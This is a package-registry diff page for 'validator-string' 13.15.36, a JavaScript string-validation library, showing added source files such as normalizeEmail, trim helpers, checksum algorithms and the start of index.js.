validator-string 13.15.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (233) hide show
  1. package/LICENSE +20 -0
  2. package/README.md +269 -0
  3. package/es/index.js +218 -0
  4. package/es/lib/alpha.js +151 -0
  5. package/es/lib/blacklist.js +5 -0
  6. package/es/lib/contains.js +15 -0
  7. package/es/lib/equals.js +5 -0
  8. package/es/lib/escape.js +5 -0
  9. package/es/lib/isAbaRouting.js +15 -0
  10. package/es/lib/isAfter.js +10 -0
  11. package/es/lib/isAlpha.js +23 -0
  12. package/es/lib/isAlphanumeric.js +23 -0
  13. package/es/lib/isAscii.js +10 -0
  14. package/es/lib/isBIC.js +16 -0
  15. package/es/lib/isBase32.js +15 -0
  16. package/es/lib/isBase58.js +8 -0
  17. package/es/lib/isBase64.js +23 -0
  18. package/es/lib/isBefore.js +10 -0
  19. package/es/lib/isBoolean.js +15 -0
  20. package/es/lib/isBtcAddress.js +7 -0
  21. package/es/lib/isByteLength.js +19 -0
  22. package/es/lib/isCreditCard.js +43 -0
  23. package/es/lib/isCurrency.js +74 -0
  24. package/es/lib/isDataURI.js +31 -0
  25. package/es/lib/isDate.js +93 -0
  26. package/es/lib/isDecimal.js +22 -0
  27. package/es/lib/isDivisibleBy.js +6 -0
  28. package/es/lib/isEAN.js +70 -0
  29. package/es/lib/isEmail.js +165 -0
  30. package/es/lib/isEmpty.js +10 -0
  31. package/es/lib/isEthereumAddress.js +6 -0
  32. package/es/lib/isFQDN.js +67 -0
  33. package/es/lib/isFloat.js +14 -0
  34. package/es/lib/isFullWidth.js +6 -0
  35. package/es/lib/isHSL.js +13 -0
  36. package/es/lib/isHalfWidth.js +6 -0
  37. package/es/lib/isHash.js +21 -0
  38. package/es/lib/isHexColor.js +13 -0
  39. package/es/lib/isHexadecimal.js +6 -0
  40. package/es/lib/isIBAN.js +171 -0
  41. package/es/lib/isIMEI.js +40 -0
  42. package/es/lib/isIP.js +58 -0
  43. package/es/lib/isIPRange.js +41 -0
  44. package/es/lib/isISBN.js +47 -0
  45. package/es/lib/isISIN.js +55 -0
  46. package/es/lib/isISO15924.js +9 -0
  47. package/es/lib/isISO31661Alpha2.js +21 -0
  48. package/es/lib/isISO31661Alpha3.js +20 -0
  49. package/es/lib/isISO31661Numeric.js +8 -0
  50. package/es/lib/isISO4217.js +9 -0
  51. package/es/lib/isISO6346.js +28 -0
  52. package/es/lib/isISO6391.js +6 -0
  53. package/es/lib/isISO8601.js +42 -0
  54. package/es/lib/isISRC.js +8 -0
  55. package/es/lib/isISSN.js +19 -0
  56. package/es/lib/isIdentityCard.js +407 -0
  57. package/es/lib/isIn.js +23 -0
  58. package/es/lib/isInt.js +19 -0
  59. package/es/lib/isJSON.js +26 -0
  60. package/es/lib/isJWT.js +15 -0
  61. package/es/lib/isLatLong.js +21 -0
  62. package/es/lib/isLength.js +27 -0
  63. package/es/lib/isLicensePlate.js +58 -0
  64. package/es/lib/isLocale.js +107 -0
  65. package/es/lib/isLowercase.js +5 -0
  66. package/es/lib/isLuhnNumber.js +25 -0
  67. package/es/lib/isMACAddress.js +36 -0
  68. package/es/lib/isMD5.js +6 -0
  69. package/es/lib/isMagnetURI.js +9 -0
  70. package/es/lib/isMailtoURI.js +75 -0
  71. package/es/lib/isMimeType.js +40 -0
  72. package/es/lib/isMobilePhone.js +212 -0
  73. package/es/lib/isMongoId.js +6 -0
  74. package/es/lib/isMultibyte.js +10 -0
  75. package/es/lib/isNumeric.js +10 -0
  76. package/es/lib/isOctal.js +6 -0
  77. package/es/lib/isPassportNumber.js +145 -0
  78. package/es/lib/isPort.js +8 -0
  79. package/es/lib/isPostalCode.js +100 -0
  80. package/es/lib/isRFC3339.js +21 -0
  81. package/es/lib/isRgbColor.js +34 -0
  82. package/es/lib/isSemVer.js +14 -0
  83. package/es/lib/isSlug.js +6 -0
  84. package/es/lib/isStrongPassword.js +90 -0
  85. package/es/lib/isSurrogatePair.js +6 -0
  86. package/es/lib/isTaxID.js +1407 -0
  87. package/es/lib/isTime.js +22 -0
  88. package/es/lib/isULID.js +5 -0
  89. package/es/lib/isURL.js +241 -0
  90. package/es/lib/isUUID.js +23 -0
  91. package/es/lib/isUppercase.js +5 -0
  92. package/es/lib/isVAT.js +264 -0
  93. package/es/lib/isVariableWidth.js +7 -0
  94. package/es/lib/isWhitelisted.js +10 -0
  95. package/es/lib/ltrim.js +7 -0
  96. package/es/lib/matches.js +8 -0
  97. package/es/lib/normalizeEmail.js +131 -0
  98. package/es/lib/rtrim.js +15 -0
  99. package/es/lib/stripLow.js +7 -0
  100. package/es/lib/toBoolean.js +8 -0
  101. package/es/lib/toDate.js +6 -0
  102. package/es/lib/toFloat.js +5 -0
  103. package/es/lib/toInt.js +5 -0
  104. package/es/lib/trim.js +5 -0
  105. package/es/lib/unescape.js +8 -0
  106. package/es/lib/util/algorithms.js +79 -0
  107. package/es/lib/util/assertString.js +4 -0
  108. package/es/lib/util/checkHost.js +12 -0
  109. package/es/lib/util/includesArray.js +6 -0
  110. package/es/lib/util/includesString.js +4 -0
  111. package/es/lib/util/merge.js +14 -0
  112. package/es/lib/util/multilineRegex.js +12 -0
  113. package/es/lib/util/nullUndefinedCheck.js +3 -0
  114. package/es/lib/util/toString.js +13 -0
  115. package/es/lib/util/typeOf.js +10 -0
  116. package/es/lib/whitelist.js +5 -0
  117. package/index.js +229 -0
  118. package/lib/alpha.js +157 -0
  119. package/lib/blacklist.js +14 -0
  120. package/lib/contains.js +24 -0
  121. package/lib/equals.js +14 -0
  122. package/lib/escape.js +14 -0
  123. package/lib/isAbaRouting.js +23 -0
  124. package/lib/isAfter.js +19 -0
  125. package/lib/isAlpha.js +31 -0
  126. package/lib/isAlphanumeric.js +31 -0
  127. package/lib/isAscii.js +18 -0
  128. package/lib/isBIC.js +24 -0
  129. package/lib/isBase32.js +24 -0
  130. package/lib/isBase58.js +16 -0
  131. package/lib/isBase64.js +32 -0
  132. package/lib/isBefore.js +19 -0
  133. package/lib/isBoolean.js +24 -0
  134. package/lib/isBtcAddress.js +16 -0
  135. package/lib/isByteLength.js +27 -0
  136. package/lib/isCreditCard.js +52 -0
  137. package/lib/isCurrency.js +83 -0
  138. package/lib/isDataURI.js +40 -0
  139. package/lib/isDate.js +102 -0
  140. package/lib/isDecimal.js +31 -0
  141. package/lib/isDivisibleBy.js +15 -0
  142. package/lib/isEAN.js +78 -0
  143. package/lib/isEmail.js +174 -0
  144. package/lib/isEmpty.js +19 -0
  145. package/lib/isEthereumAddress.js +15 -0
  146. package/lib/isFQDN.js +76 -0
  147. package/lib/isFloat.js +22 -0
  148. package/lib/isFullWidth.js +14 -0
  149. package/lib/isHSL.js +22 -0
  150. package/lib/isHalfWidth.js +14 -0
  151. package/lib/isHash.js +30 -0
  152. package/lib/isHexColor.js +22 -0
  153. package/lib/isHexadecimal.js +15 -0
  154. package/lib/isIBAN.js +178 -0
  155. package/lib/isIMEI.js +49 -0
  156. package/lib/isIP.js +67 -0
  157. package/lib/isIPRange.js +50 -0
  158. package/lib/isISBN.js +56 -0
  159. package/lib/isISIN.js +64 -0
  160. package/lib/isISO15924.js +16 -0
  161. package/lib/isISO31661Alpha2.js +28 -0
  162. package/lib/isISO31661Alpha3.js +28 -0
  163. package/lib/isISO31661Numeric.js +16 -0
  164. package/lib/isISO4217.js +16 -0
  165. package/lib/isISO6346.js +35 -0
  166. package/lib/isISO6391.js +15 -0
  167. package/lib/isISO8601.js +50 -0
  168. package/lib/isISRC.js +16 -0
  169. package/lib/isISSN.js +28 -0
  170. package/lib/isIdentityCard.js +416 -0
  171. package/lib/isIn.js +32 -0
  172. package/lib/isInt.js +28 -0
  173. package/lib/isJSON.js +35 -0
  174. package/lib/isJWT.js +24 -0
  175. package/lib/isLatLong.js +30 -0
  176. package/lib/isLength.js +35 -0
  177. package/lib/isLicensePlate.js +67 -0
  178. package/lib/isLocale.js +115 -0
  179. package/lib/isLowercase.js +14 -0
  180. package/lib/isLuhnNumber.js +34 -0
  181. package/lib/isMACAddress.js +45 -0
  182. package/lib/isMD5.js +15 -0
  183. package/lib/isMagnetURI.js +18 -0
  184. package/lib/isMailtoURI.js +84 -0
  185. package/lib/isMimeType.js +48 -0
  186. package/lib/isMobilePhone.js +219 -0
  187. package/lib/isMongoId.js +15 -0
  188. package/lib/isMultibyte.js +18 -0
  189. package/lib/isNumeric.js +19 -0
  190. package/lib/isOctal.js +15 -0
  191. package/lib/isPassportNumber.js +152 -0
  192. package/lib/isPort.js +17 -0
  193. package/lib/isPostalCode.js +107 -0
  194. package/lib/isRFC3339.js +29 -0
  195. package/lib/isRgbColor.js +42 -0
  196. package/lib/isSemVer.js +22 -0
  197. package/lib/isSlug.js +15 -0
  198. package/lib/isStrongPassword.js +99 -0
  199. package/lib/isSurrogatePair.js +15 -0
  200. package/lib/isTaxID.js +1417 -0
  201. package/lib/isTime.js +31 -0
  202. package/lib/isULID.js +14 -0
  203. package/lib/isURL.js +249 -0
  204. package/lib/isUUID.js +32 -0
  205. package/lib/isUppercase.js +14 -0
  206. package/lib/isVAT.js +274 -0
  207. package/lib/isVariableWidth.js +16 -0
  208. package/lib/isWhitelisted.js +19 -0
  209. package/lib/ltrim.js +16 -0
  210. package/lib/matches.js +17 -0
  211. package/lib/normalizeEmail.js +140 -0
  212. package/lib/rtrim.js +24 -0
  213. package/lib/stripLow.js +16 -0
  214. package/lib/toBoolean.js +17 -0
  215. package/lib/toDate.js +15 -0
  216. package/lib/toFloat.js +14 -0
  217. package/lib/toInt.js +14 -0
  218. package/lib/trim.js +14 -0
  219. package/lib/unescape.js +17 -0
  220. package/lib/util/algorithms.js +88 -0
  221. package/lib/util/assertString.js +12 -0
  222. package/lib/util/checkHost.js +20 -0
  223. package/lib/util/includesArray.js +14 -0
  224. package/lib/util/includesString.js +12 -0
  225. package/lib/util/merge.js +22 -0
  226. package/lib/util/multilineRegex.js +20 -0
  227. package/lib/util/nullUndefinedCheck.js +11 -0
  228. package/lib/util/toString.js +21 -0
  229. package/lib/util/typeOf.js +18 -0
  230. package/lib/whitelist.js +14 -0
  231. package/package.json +83 -0
  232. package/validator.js +5808 -0
  233. package/validator.min.js +23 -0
@@ -0,0 +1,131 @@
1
+ import merge from './util/merge';
2
+ var default_normalize_email_options = {
3
+ // The following options apply to all email addresses
4
+ // Lowercases the local part of the email address.
5
+ // Please note this may violate RFC 5321 as per http://stackoverflow.com/a/9808332/192024).
6
+ // The domain is always lowercased, as per RFC 1035
7
+ all_lowercase: true,
8
+ // The following conversions are specific to GMail
9
+ // Lowercases the local part of the GMail address (known to be case-insensitive)
10
+ gmail_lowercase: true,
11
+ // Removes dots from the local part of the email address, as that's ignored by GMail
12
+ gmail_remove_dots: true,
13
+ // Removes the subaddress (e.g. "+foo") from the email address
14
+ gmail_remove_subaddress: true,
15
+ // Conversts the googlemail.com domain to gmail.com
16
+ gmail_convert_googlemaildotcom: true,
17
+ // The following conversions are specific to Outlook.com / Windows Live / Hotmail
18
+ // Lowercases the local part of the Outlook.com address (known to be case-insensitive)
19
+ outlookdotcom_lowercase: true,
20
+ // Removes the subaddress (e.g. "+foo") from the email address
21
+ outlookdotcom_remove_subaddress: true,
22
+ // The following conversions are specific to Yahoo
23
+ // Lowercases the local part of the Yahoo address (known to be case-insensitive)
24
+ yahoo_lowercase: true,
25
+ // Removes the subaddress (e.g. "-foo") from the email address
26
+ yahoo_remove_subaddress: true,
27
+ // The following conversions are specific to Yandex
28
+ // Lowercases the local part of the Yandex address (known to be case-insensitive)
29
+ yandex_lowercase: true,
30
+ // all yandex domains are equal, this explicitly sets the domain to 'yandex.ru'
31
+ yandex_convert_yandexru: true,
32
+ // The following conversions are specific to iCloud
33
+ // Lowercases the local part of the iCloud address (known to be case-insensitive)
34
+ icloud_lowercase: true,
35
+ // Removes the subaddress (e.g. "+foo") from the email address
36
+ icloud_remove_subaddress: true
37
+ };
38
+
39
+ // List of domains used by iCloud
40
+ var icloud_domains = ['icloud.com', 'me.com'];
41
+
42
+ // List of domains used by Outlook.com and its predecessors
43
+ // This list is likely incomplete.
44
+ // Partial reference:
45
+ // https://blogs.office.com/2013/04/17/outlook-com-gets-two-step-verification-sign-in-by-alias-and-new-international-domains/
46
+ var outlookdotcom_domains = ['hotmail.at', 'hotmail.be', 'hotmail.ca', 'hotmail.cl', 'hotmail.co.il', 'hotmail.co.nz', 'hotmail.co.th', 'hotmail.co.uk', 'hotmail.com', 'hotmail.com.ar', 'hotmail.com.au', 'hotmail.com.br', 'hotmail.com.gr', 'hotmail.com.mx', 'hotmail.com.pe', 'hotmail.com.tr', 'hotmail.com.vn', 'hotmail.cz', 'hotmail.de', 'hotmail.dk', 'hotmail.es', 'hotmail.fr', 'hotmail.hu', 'hotmail.id', 'hotmail.ie', 'hotmail.in', 'hotmail.it', 'hotmail.jp', 'hotmail.kr', 'hotmail.lv', 'hotmail.my', 'hotmail.ph', 'hotmail.pt', 'hotmail.sa', 'hotmail.sg', 'hotmail.sk', 'live.be', 'live.co.uk', 'live.com', 'live.com.ar', 'live.com.mx', 'live.de', 'live.es', 'live.eu', 'live.fr', 'live.it', 'live.nl', 'msn.com', 'outlook.at', 'outlook.be', 'outlook.cl', 'outlook.co.il', 'outlook.co.nz', 'outlook.co.th', 'outlook.com', 'outlook.com.ar', 'outlook.com.au', 'outlook.com.br', 'outlook.com.gr', 'outlook.com.pe', 'outlook.com.tr', 'outlook.com.vn', 'outlook.cz', 'outlook.de', 'outlook.dk', 'outlook.es', 'outlook.fr', 'outlook.hu', 'outlook.id', 'outlook.ie', 'outlook.in', 'outlook.it', 'outlook.jp', 'outlook.kr', 'outlook.lv', 'outlook.my', 'outlook.ph', 'outlook.pt', 'outlook.sa', 'outlook.sg', 'outlook.sk', 'passport.com'];
47
+
48
+ // List of domains used by Yahoo Mail
49
+ // This list is likely incomplete
50
+ var yahoo_domains = ['rocketmail.com', 'yahoo.ca', 'yahoo.co.uk', 'yahoo.com', 'yahoo.de', 'yahoo.fr', 'yahoo.in', 'yahoo.it', 'ymail.com'];
51
+
52
+ // List of domains used by yandex.ru
53
+ var yandex_domains = ['yandex.ru', 'yandex.ua', 'yandex.kz', 'yandex.com', 'yandex.by', 'ya.ru'];
54
+
55
+ // replace single dots, but not multiple consecutive dots
56
+ function dotsReplacer(match) {
57
+ if (match.length > 1) {
58
+ return match;
59
+ }
60
+ return '';
61
+ }
62
+ export default function normalizeEmail(email, options) {
63
+ options = merge(options, default_normalize_email_options);
64
+ var raw_parts = email.split('@');
65
+ var domain = raw_parts.pop();
66
+ var user = raw_parts.join('@');
67
+ var parts = [user, domain];
68
+
69
+ // The domain is always lowercased, as it's case-insensitive per RFC 1035
70
+ parts[1] = parts[1].toLowerCase();
71
+ if (parts[1] === 'gmail.com' || parts[1] === 'googlemail.com') {
72
+ // Address is GMail
73
+ if (options.gmail_remove_subaddress) {
74
+ parts[0] = parts[0].split('+')[0];
75
+ }
76
+ if (options.gmail_remove_dots) {
77
+ // this does not replace consecutive dots like example..email@gmail.com
78
+ parts[0] = parts[0].replace(/\.+/g, dotsReplacer);
79
+ }
80
+ if (!parts[0].length) {
81
+ return false;
82
+ }
83
+ if (options.all_lowercase || options.gmail_lowercase) {
84
+ parts[0] = parts[0].toLowerCase();
85
+ }
86
+ parts[1] = options.gmail_convert_googlemaildotcom ? 'gmail.com' : parts[1];
87
+ } else if (icloud_domains.indexOf(parts[1]) >= 0) {
88
+ // Address is iCloud
89
+ if (options.icloud_remove_subaddress) {
90
+ parts[0] = parts[0].split('+')[0];
91
+ }
92
+ if (!parts[0].length) {
93
+ return false;
94
+ }
95
+ if (options.all_lowercase || options.icloud_lowercase) {
96
+ parts[0] = parts[0].toLowerCase();
97
+ }
98
+ } else if (outlookdotcom_domains.indexOf(parts[1]) >= 0) {
99
+ // Address is Outlook.com
100
+ if (options.outlookdotcom_remove_subaddress) {
101
+ parts[0] = parts[0].split('+')[0];
102
+ }
103
+ if (!parts[0].length) {
104
+ return false;
105
+ }
106
+ if (options.all_lowercase || options.outlookdotcom_lowercase) {
107
+ parts[0] = parts[0].toLowerCase();
108
+ }
109
+ } else if (yahoo_domains.indexOf(parts[1]) >= 0) {
110
+ // Address is Yahoo
111
+ if (options.yahoo_remove_subaddress) {
112
+ var components = parts[0].split('-');
113
+ parts[0] = components.length > 1 ? components.slice(0, -1).join('-') : components[0];
114
+ }
115
+ if (!parts[0].length) {
116
+ return false;
117
+ }
118
+ if (options.all_lowercase || options.yahoo_lowercase) {
119
+ parts[0] = parts[0].toLowerCase();
120
+ }
121
+ } else if (yandex_domains.indexOf(parts[1]) >= 0) {
122
+ if (options.all_lowercase || options.yandex_lowercase) {
123
+ parts[0] = parts[0].toLowerCase();
124
+ }
125
+ parts[1] = options.yandex_convert_yandexru ? 'yandex.ru' : parts[1];
126
+ } else if (options.all_lowercase) {
127
+ // Any other address
128
+ parts[0] = parts[0].toLowerCase();
129
+ }
130
+ return parts.join('@');
131
+ }
@@ -0,0 +1,15 @@
1
+ import assertString from './util/assertString';
2
+ export default function rtrim(str, chars) {
3
+ assertString(str);
4
+ if (chars) {
5
+ // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping
6
+ var pattern = new RegExp("[".concat(chars.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), "]+$"), 'g');
7
+ return str.replace(pattern, '');
8
+ }
9
+ // Use a faster and more safe than regex trim method https://blog.stevenlevithan.com/archives/faster-trim-javascript
10
+ var strIndex = str.length - 1;
11
+ while (/\s/.test(str.charAt(strIndex))) {
12
+ strIndex -= 1;
13
+ }
14
+ return str.slice(0, strIndex + 1);
15
+ }
@@ -0,0 +1,7 @@
1
+ import assertString from './util/assertString';
2
+ import blacklist from './blacklist';
3
+ export default function stripLow(str, keep_new_lines) {
4
+ assertString(str);
5
+ var chars = keep_new_lines ? '\\x00-\\x09\\x0B\\x0C\\x0E-\\x1F\\x7F' : '\\x00-\\x1F\\x7F';
6
+ return blacklist(str, chars);
7
+ }
@@ -0,0 +1,8 @@
1
+ import assertString from './util/assertString';
2
+ export default function toBoolean(str, strict) {
3
+ assertString(str);
4
+ if (strict) {
5
+ return str === '1' || /^true$/i.test(str);
6
+ }
7
+ return str !== '0' && !/^false$/i.test(str) && str !== '';
8
+ }
@@ -0,0 +1,6 @@
1
+ import assertString from './util/assertString';
2
+ export default function toDate(date) {
3
+ assertString(date);
4
+ date = Date.parse(date);
5
+ return !isNaN(date) ? new Date(date) : null;
6
+ }
@@ -0,0 +1,5 @@
1
+ import isFloat from './isFloat';
2
+ export default function toFloat(str) {
3
+ if (!isFloat(str)) return NaN;
4
+ return parseFloat(str);
5
+ }
@@ -0,0 +1,5 @@
1
+ import assertString from './util/assertString';
2
+ export default function toInt(str, radix) {
3
+ assertString(str);
4
+ return parseInt(str, radix || 10);
5
+ }
package/es/lib/trim.js ADDED
@@ -0,0 +1,5 @@
1
+ import rtrim from './rtrim';
2
+ import ltrim from './ltrim';
3
+ export default function trim(str, chars) {
4
+ return rtrim(ltrim(str, chars), chars);
5
+ }
@@ -0,0 +1,8 @@
1
+ import assertString from './util/assertString';
2
+ export default function unescape(str) {
3
+ assertString(str);
4
+ return str.replace(/&quot;/g, '"').replace(/&#x27;/g, "'").replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&#x2F;/g, '/').replace(/&#x5C;/g, '\\').replace(/&#96;/g, '`').replace(/&amp;/g, '&');
5
+ // &amp; replacement has to be the last one to prevent
6
+ // bugs with intermediate strings containing escape sequences
7
+ // See: https://github.com/validatorjs/validator.js/issues/1827
8
+ }
@@ -0,0 +1,79 @@
1
+ /**
2
+ * Algorithmic validation functions
3
+ * May be used as is or implemented in the workflow of other validators.
4
+ */
5
+
6
+ /*
7
+ * ISO 7064 validation function
8
+ * Called with a string of numbers (incl. check digit)
9
+ * to validate according to ISO 7064 (MOD 11, 10).
10
+ */
11
+ export function iso7064Check(str) {
12
+ var checkvalue = 10;
13
+ for (var i = 0; i < str.length - 1; i++) {
14
+ checkvalue = (parseInt(str[i], 10) + checkvalue) % 10 === 0 ? 10 * 2 % 11 : (parseInt(str[i], 10) + checkvalue) % 10 * 2 % 11;
15
+ }
16
+ checkvalue = checkvalue === 1 ? 0 : 11 - checkvalue;
17
+ return checkvalue === parseInt(str[10], 10);
18
+ }
19
+
20
+ /*
21
+ * Luhn (mod 10) validation function
22
+ * Called with a string of numbers (incl. check digit)
23
+ * to validate according to the Luhn algorithm.
24
+ */
25
+ export function luhnCheck(str) {
26
+ var checksum = 0;
27
+ var second = false;
28
+ for (var i = str.length - 1; i >= 0; i--) {
29
+ if (second) {
30
+ var product = parseInt(str[i], 10) * 2;
31
+ if (product > 9) {
32
+ // sum digits of product and add to checksum
33
+ checksum += product.toString().split('').map(function (a) {
34
+ return parseInt(a, 10);
35
+ }).reduce(function (a, b) {
36
+ return a + b;
37
+ }, 0);
38
+ } else {
39
+ checksum += product;
40
+ }
41
+ } else {
42
+ checksum += parseInt(str[i], 10);
43
+ }
44
+ second = !second;
45
+ }
46
+ return checksum % 10 === 0;
47
+ }
48
+
49
+ /*
50
+ * Reverse TIN multiplication and summation helper function
51
+ * Called with an array of single-digit integers and a base multiplier
52
+ * to calculate the sum of the digits multiplied in reverse.
53
+ * Normally used in variations of MOD 11 algorithmic checks.
54
+ */
55
+ export function reverseMultiplyAndSum(digits, base) {
56
+ var total = 0;
57
+ for (var i = 0; i < digits.length; i++) {
58
+ total += digits[i] * (base - i);
59
+ }
60
+ return total;
61
+ }
62
+
63
+ /*
64
+ * Verhoeff validation helper function
65
+ * Called with a string of numbers
66
+ * to validate according to the Verhoeff algorithm.
67
+ */
68
+ export function verhoeffCheck(str) {
69
+ var d_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 2, 3, 4, 0, 6, 7, 8, 9, 5], [2, 3, 4, 0, 1, 7, 8, 9, 5, 6], [3, 4, 0, 1, 2, 8, 9, 5, 6, 7], [4, 0, 1, 2, 3, 9, 5, 6, 7, 8], [5, 9, 8, 7, 6, 0, 4, 3, 2, 1], [6, 5, 9, 8, 7, 1, 0, 4, 3, 2], [7, 6, 5, 9, 8, 2, 1, 0, 4, 3], [8, 7, 6, 5, 9, 3, 2, 1, 0, 4], [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]];
70
+ var p_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 5, 7, 6, 2, 8, 3, 0, 9, 4], [5, 8, 0, 3, 7, 9, 6, 1, 4, 2], [8, 9, 1, 6, 0, 4, 3, 5, 2, 7], [9, 4, 5, 3, 1, 2, 6, 8, 7, 0], [4, 2, 8, 6, 5, 7, 3, 9, 0, 1], [2, 7, 9, 3, 8, 0, 6, 4, 1, 5], [7, 0, 4, 6, 9, 1, 3, 2, 5, 8]];
71
+
72
+ // Copy (to prevent replacement) and reverse
73
+ var str_copy = str.split('').reverse().join('');
74
+ var checksum = 0;
75
+ for (var i = 0; i < str_copy.length; i++) {
76
+ checksum = d_table[checksum][p_table[i % 8][parseInt(str_copy[i], 10)]];
77
+ }
78
+ return checksum === 0;
79
+ }
@@ -0,0 +1,4 @@
1
+ export default function assertString(input) {
2
+ if (input === undefined || input === null) throw new TypeError("Expected a string but received a ".concat(input));
3
+ if (input.constructor.name !== 'String') throw new TypeError("Expected a string but received a ".concat(input.constructor.name));
4
+ }
@@ -0,0 +1,12 @@
1
+ function isRegExp(obj) {
2
+ return Object.prototype.toString.call(obj) === '[object RegExp]';
3
+ }
4
+ export default function checkHost(host, matches) {
5
+ for (var i = 0; i < matches.length; i++) {
6
+ var match = matches[i];
7
+ if (host === match || isRegExp(match) && match.test(host)) {
8
+ return true;
9
+ }
10
+ }
11
+ return false;
12
+ }
@@ -0,0 +1,6 @@
1
+ var includes = function includes(arr, val) {
2
+ return arr.some(function (arrVal) {
3
+ return val === arrVal;
4
+ });
5
+ };
6
+ export default includes;
@@ -0,0 +1,4 @@
1
+ var includes = function includes(str, val) {
2
+ return str.indexOf(val) !== -1;
3
+ };
4
+ export default includes;
@@ -0,0 +1,14 @@
1
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
2
+ export default function merge() {
3
+ var obj = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
4
+ var defaults = arguments.length > 1 ? arguments[1] : undefined;
5
+ if (_typeof(obj) !== 'object' || obj === null) {
6
+ obj = {};
7
+ }
8
+ for (var key in defaults) {
9
+ if (typeof obj[key] === 'undefined') {
10
+ obj[key] = defaults[key];
11
+ }
12
+ }
13
+ return obj;
14
+ }
@@ -0,0 +1,12 @@
1
+ /**
2
+ * Build RegExp object from an array
3
+ * of multiple/multi-line regexp parts
4
+ *
5
+ * @param {string[]} parts
6
+ * @param {string} flags
7
+ * @return {object} - RegExp object
8
+ */
9
+ export default function multilineRegexp(parts, flags) {
10
+ var regexpAsStringLiteral = parts.join('');
11
+ return new RegExp(regexpAsStringLiteral, flags);
12
+ }
@@ -0,0 +1,3 @@
1
+ export default function isNullOrUndefined(value) {
2
+ return value === null || value === undefined;
3
+ }
@@ -0,0 +1,13 @@
1
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
2
+ export default function toString(input) {
3
+ if (_typeof(input) === 'object' && input !== null) {
4
+ if (typeof input.toString === 'function') {
5
+ input = input.toString();
6
+ } else {
7
+ input = '[object Object]';
8
+ }
9
+ } else if (input === null || typeof input === 'undefined' || isNaN(input) && !input.length) {
10
+ input = '';
11
+ }
12
+ return String(input);
13
+ }
@@ -0,0 +1,10 @@
1
+ /**
2
+ * Better way to handle type checking
3
+ * null, {}, array and date are objects, which confuses
4
+ */
5
+ export default function typeOf(input) {
6
+ var rawObject = Object.prototype.toString.call(input).toLowerCase();
7
+ var typeOfRegex = /\[object (.*)]/g;
8
+ var type = typeOfRegex.exec(rawObject)[1];
9
+ return type;
10
+ }
@@ -0,0 +1,5 @@
1
+ import assertString from './util/assertString';
2
+ export default function whitelist(str, chars) {
3
+ assertString(str);
4
+ return str.replace(new RegExp("[^".concat(chars, "]+"), 'g'), '');
5
+ }
package/index.js ADDED
@@ -0,0 +1,229 @@
1
+ "use strict";
2
+
3
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
4
+ Object.defineProperty(exports, "__esModule", {
5
+ value: true
6
+ });
7
+ exports.default = void 0;
8
+ var _toDate = _interopRequireDefault(require("./lib/toDate"));
9
+ var _toFloat = _interopRequireDefault(require("./lib/toFloat"));
10
+ var _toInt = _interopRequireDefault(require("./lib/toInt"));
11
+ var _toBoolean = _interopRequireDefault(require("./lib/toBoolean"));
12
+ var _equals = _interopRequireDefault(require("./lib/equals"));
13
+ var _contains = _interopRequireDefault(require("./lib/contains"));
14
+ var _matches = _interopRequireDefault(require("./lib/matches"));
15
+ var _isEmail = _interopRequireDefault(require("./lib/isEmail"));
16
+ var _isURL = _interopRequireDefault(require("./lib/isURL"));
17
+ var _isMACAddress = _interopRequireDefault(require("./lib/isMACAddress"));
18
+ var _isIP = _interopRequireDefault(require("./lib/isIP"));
19
+ var _isIPRange = _interopRequireDefault(require("./lib/isIPRange"));
20
+ var _isFQDN = _interopRequireDefault(require("./lib/isFQDN"));
21
+ var _isDate = _interopRequireDefault(require("./lib/isDate"));
22
+ var _isTime = _interopRequireDefault(require("./lib/isTime"));
23
+ var _isBoolean = _interopRequireDefault(require("./lib/isBoolean"));
24
+ var _isLocale = _interopRequireDefault(require("./lib/isLocale"));
25
+ var _isAbaRouting = _interopRequireDefault(require("./lib/isAbaRouting"));
26
+ var _isAlpha = _interopRequireWildcard(require("./lib/isAlpha"));
27
+ var _isAlphanumeric = _interopRequireWildcard(require("./lib/isAlphanumeric"));
28
+ var _isNumeric = _interopRequireDefault(require("./lib/isNumeric"));
29
+ var _isPassportNumber = _interopRequireWildcard(require("./lib/isPassportNumber"));
30
+ var _isPort = _interopRequireDefault(require("./lib/isPort"));
31
+ var _isLowercase = _interopRequireDefault(require("./lib/isLowercase"));
32
+ var _isUppercase = _interopRequireDefault(require("./lib/isUppercase"));
33
+ var _isIMEI = _interopRequireDefault(require("./lib/isIMEI"));
34
+ var _isAscii = _interopRequireDefault(require("./lib/isAscii"));
35
+ var _isFullWidth = _interopRequireDefault(require("./lib/isFullWidth"));
36
+ var _isHalfWidth = _interopRequireDefault(require("./lib/isHalfWidth"));
37
+ var _isVariableWidth = _interopRequireDefault(require("./lib/isVariableWidth"));
38
+ var _isMultibyte = _interopRequireDefault(require("./lib/isMultibyte"));
39
+ var _isSemVer = _interopRequireDefault(require("./lib/isSemVer"));
40
+ var _isSurrogatePair = _interopRequireDefault(require("./lib/isSurrogatePair"));
41
+ var _isInt = _interopRequireDefault(require("./lib/isInt"));
42
+ var _isFloat = _interopRequireWildcard(require("./lib/isFloat"));
43
+ var _isDecimal = _interopRequireDefault(require("./lib/isDecimal"));
44
+ var _isHexadecimal = _interopRequireDefault(require("./lib/isHexadecimal"));
45
